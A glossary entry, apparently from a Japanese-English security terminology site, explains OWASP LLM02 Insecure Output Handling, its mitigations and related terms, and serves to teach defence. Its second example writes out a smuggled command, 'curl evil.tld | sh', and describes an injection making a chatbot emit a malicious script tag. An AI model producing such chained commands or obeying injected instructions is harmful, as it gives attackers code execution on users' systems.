Insecure Output Handling
Insecure Output Handling とは何ですか?
Insecure Output HandlingOWASP LLM02 — passing LLM-generated output directly into downstream systems (browsers, shells, SQL, code execution) without validation, turning a hallucination or prompt injection into XSS, RCE, or SSRF.
Insecure Output Handling is item LLM02 in the OWASP Top 10 for LLM Applications. It captures a deceptively simple mistake: treating model output as trusted text. When an application renders LLM responses in HTML, evaluates them as JavaScript, concatenates them into shell commands, executes them as code, or stuffs them into SQL, an attacker who can influence the prompt (directly or indirectly via retrieved content) controls whatever downstream sink consumes that output. The model becomes a confused-deputy that crosses trust boundaries on behalf of the attacker. Mitigations are conventional appsec hygiene applied to the LLM's egress: escape, sanitize, or template all output before HTML rendering; refuse to execute model-generated code outside a sandbox; validate structured outputs (e.g. JSON Schema, function-call argument types) before dispatch; require explicit allowlists for tools that take string arguments; and treat the LLM as an untrusted parser of intent, not a trusted producer of code.
● 例
- 01
A markdown chatbot renders model output as HTML; an injection causes it to emit a malicious script tag that fires for every viewer.
- 02
An assistant returns a shell command that the app pipes into bash; a prompt injection turns 'list files' into 'list files; curl evil.tld | sh'.
● よくある質問
Insecure Output Handling とは何ですか?
OWASP LLM02 — passing LLM-generated output directly into downstream systems (browsers, shells, SQL, code execution) without validation, turning a hallucination or prompt injection into XSS, RCE, or SSRF. サイバーセキュリティの AI / ML セキュリティ カテゴリに属します。
Insecure Output Handling とはどういう意味ですか?
OWASP LLM02 — passing LLM-generated output directly into downstream systems (browsers, shells, SQL, code execution) without validation, turning a hallucination or prompt injection into XSS, RCE, or SSRF.
Insecure Output Handling はどのように機能しますか?
Insecure Output Handling is item LLM02 in the OWASP Top 10 for LLM Applications. It captures a deceptively simple mistake: treating model output as trusted text. When an application renders LLM responses in HTML, evaluates them as JavaScript, concatenates them into shell commands, executes them as code, or stuffs them into SQL, an attacker who can influence the prompt (directly or indirectly via retrieved content) controls whatever downstream sink consumes that output. The model becomes a confused-deputy that crosses trust boundaries on behalf of the attacker. Mitigations are conventional appsec hygiene applied to the LLM's egress: escape, sanitize, or template all output before HTML rendering; refuse to execute model-generated code outside a sandbox; validate structured outputs (e.g. JSON Schema, function-call argument types) before dispatch; require explicit allowlists for tools that take string arguments; and treat the LLM as an untrusted parser of intent, not a trusted producer of code.
Insecure Output Handling からどのように防御しますか?
Insecure Output Handling に対する防御は通常、上記の定義で述べたとおり、技術的統制と運用上の実践を組み合わせます。
Insecure Output Handling の別名は何ですか?
一般的な別名: LLM02, Unsanitized LLM output。
● 関連用語
- ai-security№ 870
OWASP LLM Top 10
大規模言語モデルを基盤とするアプリケーションに対し、最も重大な 10 のセキュリティリスクをまとめた OWASP のリスト。
- ai-security№ 969
プロンプトインジェクション
プロンプトに敵対的なテキストを紛れ込ませて LLM の元の指示を上書きし、安全策を無視させたり攻撃者が望む動作を実行させたりする攻撃。
- ai-security№ 586
間接プロンプトインジェクション
悪意ある指示を第三者コンテンツ(Web ページ、文書、メール)に埋め込み、LLM が検索・閲覧・ツール利用を通じて取り込んだ際に発動するプロンプトインジェクションの変種。
- attacks№ 265
クロスサイトスクリプティング(XSS)
他のユーザーが閲覧するページに悪意あるスクリプトを注入し、当該サイトのオリジンとして被害者のブラウザで実行させる Web 脆弱性。
- attacks№ 224
コマンドインジェクション
ユーザー入力をサニタイズせずに OS シェルへ渡し、攻撃者が指定したコマンドをアプリケーションに実行させる攻撃。
- ai-security№ 1285
Tool-Use Injection
Attacks that manipulate an LLM agent's tool-calling layer — forging tool arguments, smuggling instructions through tool outputs, or coaxing the model into calling unsanctioned tools.